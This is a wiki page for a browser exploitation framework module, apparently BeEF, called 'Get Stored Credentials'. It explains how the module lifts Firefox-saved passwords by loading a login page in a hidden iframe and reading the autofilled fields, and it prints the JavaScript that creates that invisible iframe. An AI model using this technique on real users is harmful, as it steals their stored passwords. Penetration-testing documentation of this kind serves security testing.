-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Get Stored Credentials
Haoxi Tan edited this page Jan 6, 2020
·
3 revisions
- Objective: Extract credentials saved in the browser
- Authors: bcoles
- Browsers: Firefox
- Code
This module tries to extract passwords saved in the browser by creating an iframe of the provided login_url, waiting for any password fields to be auto-filled by the browser, and then extracting it.
iframe = document.createElement("iframe");
iframe.setAttribute("id","credentials_container_<%= @command_id %>");
iframe.setAttribute("src", login_url);
iframe.setAttribute("style","display:none;visibility:hidden;border:none;height:0;width:0;");
document.body.appendChild(iframe);
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK